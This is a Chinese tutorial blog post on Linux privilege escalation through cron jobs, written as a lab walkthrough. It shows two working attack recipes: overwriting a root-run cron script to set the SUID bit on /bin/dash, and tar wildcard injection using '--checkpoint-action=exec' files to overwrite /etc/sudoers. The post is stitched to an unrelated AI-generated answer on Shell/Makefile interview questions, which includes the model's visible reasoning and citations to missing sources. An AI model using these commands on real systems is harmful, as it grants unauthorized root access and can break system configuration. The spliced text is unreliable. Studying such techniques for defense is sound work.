Linux提权第四篇-Linux Cron Jobs(任务计划)提权(crontab文件覆盖提权、Crontab Tar Wildcard(通配符)注入提权)

Linux Cron Jobs提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录

提权的前提是存在一个执行危险脚本的任务计划,并且这个任务计划执行的执行脚本可以被非root权限用户修改覆盖,并可以正常执行任务计划

关于计划任务可以看这篇教程:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

crontab文件覆盖提权

环境搭建

centos5.5

首先使用root用户在/tmp目录下新建一个python文件,使用命令增加权限

image-20211119132608699

chmod 777 cleanup.py

文件内容就是删除ocean目录下的全部文件

然后root用户使用命令在 /etc/crontab 文件中新增一个计划任务

直接vim /etc/crontab

或者使用命令
crontab -e
按【字母O】开始写入
*/1 * * * * root /tmp/cleanup.py
# 意思就是每分钟执行依次cleanup脚本
保存之后
使用crontab -l命令查看

image-20211119131010706

切换至普通用户

提权

使用漏洞拿下靶机,进入提权阶段,可以连接ssh并访问非root用户终端

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

从上面的步骤,可以看出crontab 每隔1分钟执行一次python脚本

其实有许多方法可以获取root权限,下边采用开启/bin/dash SUID位的方法

使用普通用户权限修改/tmp/cleanup.py文件(提权前提就是普通用户着这个文件具有修改权限,一般root用户创建的文件只有root可以修改)

image-20211119134939039

image-20211119140232415

利用了suid文件属性,当任务计划使用root权限执行此命令时,拿到root权限

Crontab Tar Wildcard(通配符)注入

也是利用任务计划

环境准备

创建一个定时任务运行tar程序,每分钟备份1次/html文件夹到/var/backups

*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

之后html.tgz文件每隔1分钟生成1次

提权

如果拿到了非root用户终端

执行以下命令,查看任务计划

cat /etc/crontab

执行下面的命令来给当前登录用户sudo权限,随后进行wildcard注入

echo 'echo "ocean ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

注意ocean是非root用户名,可以根据自己的进行替换

1分钟后,用户被授予sudo权限

sudo -l
sudo bash
whoami

关于Crontab Tar Wildcard注入,如果是直接用tar zcf test.tar 我可以执行test.sh,但是如果有前缀tar zcf test.tar test/ tar就会正常执行

参考连接:https://cloud.tencent.com/developer/article/1170862

<think>好的,我现在需要处理用户关于Linux Shell和Makefile面试题的请求。首先,用户希望得到常见的问题和答案解析,并且引用了站内的三个资料。我得先看看这些引用内容是否相关,然后结合自己的知识来组织答案。 首先,引用[1]到了Linux驱动程序的三个数据结构,这可能和Shell和Makefile关系不大,但用户可能误引用了。引用[2]是关于Makefile中的patsubst函数,这确实属于Makefile的内容,应该包含进去。引用[3]是关于Linux限修改和chmod命令,属于Shell部分,需要整合到Shell的问题中。 接下来,我需要列举常见的Shell和Makefile面试题。对于Shell部分,常见的问题可能包括基本命令、脚本编写、限管理、管道和重定向、变量使用、条件判断、循环等。例如,如何修改文件限,使用chmod的两种方式,这在引用[3]中已经到,可以作为一个问题。另外,Shell脚本的调试方法、变量替换、通配符的使用也是常见考点。 关于Makefile,常见问题可能涉及基本结构、变量定义、函数使用(如patsubst,wildcard),自动化变量,依赖关系,伪目标等。引用[2]中的patsubst函数需要详细解释,并给出示例。此外,Makefile中的隐式规则、多目标处理、条件判断也是可能的问题点。 需要确保每个问题都有解析,并且引用相关的资料。例如,在Shell限问题中引用[3],在Makefile函数问题中引用[2]。同时,注意用户到的系统级指令,比如数学表达式的格式,但当前内容可能不涉及数学公式,所以可能不需要特别处理。但如果有变量或代码部分,需正确使用格式。 还需要检查是否有遗漏的重要知识点。例如,Shell中的here文档、进程管理、信号处理,Makefile中的静态模式规则、目录创建等。但考虑到面试题的常见性,可能不需要过于深入,保持基础到中级的问题即可。 最后,组织问题结构,分为Shell和Makefile两部分,每个部分下有几个问题,每个问题有答案和解析,并正确标注引用。需要确保语言简洁,符合中文表达,避免使用Markdown,但根据用户指示,回答需使用中文,结构清晰,分步骤说明。 可能还需要验证一些知识点的正确性,比如patsubst的用法是否正确,chmod的数字和符号模式是否准确,确保引用内容与问题对应。例如,引用[3]中的chmod示例是否正确,需要确认。此外,确保答案中的代码示例正确,比如Makefile中的变量替换和函数使用。 总结来说,步骤是:1. 确定用户需求;2. 分析引用内容的相关部分;3. 收集常见的Shell和Makefile面试题;4. 结合引用和自身知识编写问题与解析;5. 检查格式和正确性。</think>### Linux Shell 常见面试题及答案解析 --- #### 1. **Shell 脚本中如何修改文件限?** **答案** Shell 中通过 `chmod` 命令修改限,支持两种方式: - **符号模式**:`chmod u=rwx,g=rx,o=x 文件名`,其中 `u` 表示所有者,`g` 表示组,`o` 表示其他用户,`a` 表示所有用户。 - **数字模式**:`chmod 751 文件名`,其中 `r=4`、`w=2`、`x=1`,组合后 `751` 对应 `u=rwx`、`g=rx`、`o=x`[^3]。 **应用场景**:设置可执行脚本的限或保护敏感文件--- #### 2. **如何调试 Shell 脚本?** **答案** 常用调试方法: - 使用 `-x` 参数运行脚本:`bash -x script.sh`,逐行显示执行命令。 - 在脚本中添加 `set -x` 开启调试,`set +x` 关闭调试。 **示例**: ```bash #!/bin/bash set -x # 开启调试 echo "Start" ls /nonexistent_dir set +x # 关闭调试 ``` --- #### 3. **Shell 中管道 `|` 和重定向 `>` 的区别?** **答案** - **管道**:将前一个命令的输出作为后一个命令的输入,例如 `ls | grep .txt`。 - **重定向**:将输出写入文件或从文件读取输入,例如 `ls > file.txt` 或 `wc -l < file.txt`。 **关键点**:管道用于命令间数据传递,重定向用于文件或设备输入输出。 --- #### 4. **Shell 变量的作用域和导出有何区别?** **答案** - **普通变量**:仅在当前 Shell 进程中有效,子进程无法访问。 - **导出变量**:使用 `export VAR=value` 后,变量会传递给子进程(如脚本或命令)。 **示例**: ```bash VAR="test" # 子进程无法读取 export VAR="test" # 子进程可读取 ``` --- #### 5. **如何用 Shell 脚本实现文件备份?** **答案** 结合 `tar` 和 `cron` 定时任务: ```bash #!/bin/bash tar -czf backup_$(date +%Y%m%d).tar.gz /path/to/files ``` 通过 `crontab -e` 添加定时任务: ```bash 0 2 * * * /path/to/backup_script.sh # 每天凌晨2点执行 ``` --- ### Makefile 常见面试题及答案解析 --- #### 1. **Makefile 中 `patsubst` 函数的作用是什么?** **答案** `patsubst` 用于模式替换,语法为 `$(patsubst 模式,替换结果,文本)`。 **示例**: ```makefile SRC = a.c b.c c.c OBJ = $(patsubst %.c,%.o,$(SRC)) # 输出 a.o b.o c.o ``` 此函数常用于将源文件列表转换为目标文件列表[^2]。 --- #### 2. **Makefile 中 `.PHONY` 的作用是什么?** **答案** `.PHONY` 用于声明伪目标,避免与同名文件冲突。例如: ```makefile .PHONY: clean clean: rm -rf *.o ``` 即使存在名为 `clean` 的文件,执行 `make clean` 仍会运行删除操作。 --- #### 3. **如何编写多目标规则?** **答案** 使用通配符和自动化变量(如 `$@`): ```makefile FILES = file1.txt file2.txt all: $(FILES) %.txt: touch $@ # 生成对应的.txt文件 ``` 运行 `make all` 会同时生成 `file1.txt` 和 `file2.txt`。 --- #### 4. **Makefile 中 `wildcard` 函数的作用?** **答案** `wildcard` 用于匹配文件名模式,返回符合条件的文件列表。 **示例**: ```makefile SRC = $(wildcard *.c) # 获取所有.c文件 OBJ = $(SRC:.c=.o) # 转换为.o文件列表 ``` --- #### 5. **如何实现条件编译(例如根据平台选择不同命令)?** **答案** 使用 `ifeq` 和 `else` 条件判断: ```makefile OS = $(shell uname) ifeq ($(OS), Linux) CC = gcc else CC = clang endif ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值